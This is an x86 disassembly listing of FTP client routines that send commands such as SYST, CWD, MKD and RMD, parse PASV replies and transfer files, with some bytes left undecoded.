		test	eax, eax
		jz	loc_42D8A4
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		nop
		call	near ptr 77C47660h
		add	esp, 8
		cmp	eax, ebp
		jz	loc_42D8A4
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		call	near ptr 77C41B72h
		nop
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_436F3C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 40684D75h, 90004454h, 809709E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42D6F9:				; CODE XREF: sub_42D580+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_436F2A
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44556068h, 0D7E89000h, 83778096h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 45E85700h,	83000098h, 0A75FFF8h, 44543068h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 981FE8h, 0FFF88300h, 30680A75h, 0E9004454h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 445230h, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44555868h
		dd 5610EB00h, 9760E857h, 0C0850000h, 5068217Dh,	90004455h
		dd 809625E8h, 4C48377h,	9730E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 37E85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44553468h, 0DEE85200h,	90778120h
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44542868h
		dd 9558E800h, 83907780h, 0E85704C4h, 9662h
; ---------------------------------------------------------------------------


loc_42D8A4:				; CODE XREF: sub_42D580+2Bj
					; sub_42D580+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42D580	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 0EB41E800h, 8390777Fh, 0C53B04C4h
		dd 75144689h, 5428682Ch, 0E8900044h, 77809516h,	5704C483h
		dd 9621E8h, 0E8905600h,	777FE92Fh, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42DA60	proc near		; CODE XREF: sub_42D2C0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42DAA2
		mov	ecx, eax


loc_42DAA2:				; CODE XREF: sub_42DA60+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_436F12
sub_42DA60	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h
		dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh
		dd 0E8510CC4h, 941Eh, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455C0BEh, 0A4A5F300h
		dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h
		dd 0F88B0000h, 7F1763E8h, 108B9077h, 5008438Bh,	14245489h
		dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780966Ah
		dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A1E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DC70	proc near		; CODE XREF: sub_402248j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42DC81
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DC81:				; CODE XREF: sub_42DC70+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DC9D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42CC50
		add	esp, 0Ch
		jmp	short loc_42DCC4
; ---------------------------------------------------------------------------


loc_42DC9D:				; CODE XREF: sub_42DC70+17j
		call	sub_42CE80
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42DCAF
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCAF:				; CODE XREF: sub_42DC70+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436EFA
; ---------------------------------------------------------------------------


loc_42DCC4:				; CODE XREF: sub_42DC70+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DCD0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DCD0:				; CODE XREF: sub_42DC70+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42DD0F
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42DD0F
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42DD0F
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42DD08
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD08:				; CODE XREF: sub_42DC70+93j
		mov	dword ptr [esi+40h], 0


loc_42DD0F:				; CODE XREF: sub_42DC70+6Fj
					; sub_42DC70+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DC70	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DD50	proc near		; CODE XREF: sub_4021F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42DD61
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DD61:				; CODE XREF: sub_42DD50+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42DD7D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DE20
		add	esp, 0Ch
		jmp	short loc_42DD9A
; ---------------------------------------------------------------------------


loc_42DD7D:				; CODE XREF: sub_42DD50+17j
		call	sub_42CE80
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------


loc_42DD9A:				; CODE XREF: sub_42DD50+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42DDA6
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DDA6:				; CODE XREF: sub_42DD50+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42DDDC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42DDDC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42DDDC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42DDDC:				; CODE XREF: sub_42DD50+63j
					; sub_42DD50+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42DD50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DE20	proc near		; CODE XREF: sub_42DD50+23p
					; sub_42DFD0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42DE3C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DE3C:				; CODE XREF: sub_42DE20+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42DF64


loc_42DE4D:				; CODE XREF: sub_42DE20+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42DE8E
		cmp	al, 0Dh
		jz	short loc_42DE8E
		cmp	esi, 2000h
		jnz	short loc_42DE89
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DEF1
		xor	esi, esi


loc_42DE89:				; CODE XREF: sub_42DE20+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42DE8E:				; CODE XREF: sub_42DE20+35j
					; sub_42DE20+39j
		cmp	esi, 2000h
		jnz	short loc_42DEBC
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jz	short loc_42DEEA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_436F00
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42DF11
		xor	esi, esi


loc_42DEBC:				; CODE XREF: sub_42DE20+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42DE4D
		test	esi, esi
		jz	loc_42DF64
		push	ebp
		call	sub_42CE80
		add	esp, 4
		test	eax, eax
		jnz	short loc_42DF31


loc_42DEEA:				; CODE XREF: sub_42DE20+4Ej
					; sub_42DE20+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DEF1:				; CODE XREF: sub_42DE20+65j
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF11:				; CODE XREF: sub_42DE20+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42DF31:				; CODE XREF: sub_42DE20+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_436F00
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 1372E890h, 108B777Fh, 0E8685752h,	90004455h
		dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42DF64:				; CODE XREF: sub_42DE20+27j
					; sub_42DE20+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42DE20	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42DFD0	proc near		; CODE XREF: sub_401BDBj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42E04B
		dec	eax
		jz	short loc_42E000
		dec	eax
		jz	short loc_42DFEC


loc_42DFE4:				; CODE XREF: sub_42DFD0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42DFEC:				; CODE XREF: sub_42DFD0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42E000
		push	esi
		push	0
		push	0
		call	sub_42DE20
		add	esp, 0Ch


loc_42E000:				; CODE XREF: sub_42DFD0+Fj
					; sub_42DFD0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_50FAC4
		test	eax, eax
		jz	short loc_42E014
		push	eax
		call	ebx
		add	esp, 4


loc_42E014:				; CODE XREF: sub_42DFD0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_436F9C
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_436F06
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42DFE4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42CB10
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E04B:				; CODE XREF: sub_42DFD0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42E062
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BDB
		add	esp, 4


loc_42E062:				; CODE XREF: sub_42DFD0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_436F06
sub_42DFD0	endp

; ---------------------------------------------------------------------------
		db 56h
		db 90h
		db 0E8h, 0A9h, 0E1h
		dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42E0B0:				; CODE XREF: ___:00401CE4j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E0D9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E0D9:				; CODE XREF: ___:0042E0D0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E130:				; CODE XREF: ___:004016C2j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E151
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E151:				; CODE XREF: ___:0042E14Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42E16C


loc_42E15F:				; CODE XREF: ___:0042E16Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42E16C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42E15F


loc_42E16C:				; CODE XREF: ___:0042E15Dj
					; ___:0042E163j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E1A0:				; CODE XREF: ___:0040224Dj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E1C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E1C9:				; CODE XREF: ___:0042E1C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E220:				; CODE XREF: ___:0040225Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E249
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E249:				; CODE XREF: ___:0042E240j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2A0:				; CODE XREF: ___:00401780j
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42D1A0
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E2D0:				; CODE XREF: ___:004021FDj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42E2F9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42E2F9:				; CODE XREF: ___:0042E2F0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42D1A0
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E350:				; CODE XREF: ___:0040166Dj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_4456AC
		call	sub_42D1A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42E371
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E371:				; CODE XREF: ___:0042E36Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42E387
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42E387:				; CODE XREF: ___:0042E382j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42E3A5


loc_42E393:				; CODE XREF: ___:0042E3A3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42E3A5
		cmp	cl, 22h
		jz	short loc_42E3A5
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42E393


loc_42E3A5:				; CODE XREF: ___:0042E391j
					; ___:0042E397j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42E3D0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42E400
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42E400	proc near		; CODE XREF: ___:0042E3E3p
					; ___:0042E663p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42E48A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4456EC
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42E43A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42E43A:				; CODE XREF: sub_42E400+33j
		cmp	edi, 49h
		jnz	short loc_42E444
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42E444:				; CODE XREF: sub_42E400+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42E4A4
		push	100h
		call	near ptr 77C1F2BCh
		nop
		mov	eax, [eax]
		push	eax
		nop
		call	near ptr 77C371FAh
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E48A:				; CODE XREF: sub_42E400+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42E49B
		mov	ebx, dword_50FA84
		jmp	short loc_42E4A4
; ---------------------------------------------------------------------------


loc_42E49B:				; CODE XREF: sub_42E400+91j
		mov	edx, dword_50FA84
		lea	ebx, [edx+20h]


loc_42E4A4:				; CODE XREF: sub_42E400+57j
					; sub_42E400+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F55
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42E4C7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42E4C7:				; CODE XREF: sub_42E400+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42E53D
		mov	ebp, dword_50FAA4
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42E593


loc_42E4FA:				; CODE XREF: sub_42E400+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_4021F3
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42E523
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42E4FA
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E523:				; CODE XREF: sub_42E400+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E53D:				; CODE XREF: sub_42E400+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42E593
		mov	esi, dword_50FA94


loc_42E55A:				; CODE XREF: sub_42E400+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42E581
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_402248
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42E55A
		jmp	short loc_42E593
; ---------------------------------------------------------------------------


loc_42E581:				; CODE XREF: sub_42E400+166j
		push	offset aLocalfileWrite ; "localfile write"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42E593:				; CODE XREF: sub_42E400+F4j
					; sub_42E400+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		call	near ptr 77C3EEF6h
		nop
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42E5B6
		push	ebx
		call	near ptr 77C40AB1h
		nop
		add	esp, 4


loc_42E5B6:				; CODE XREF: sub_42E400+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BDB
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42E400	endp

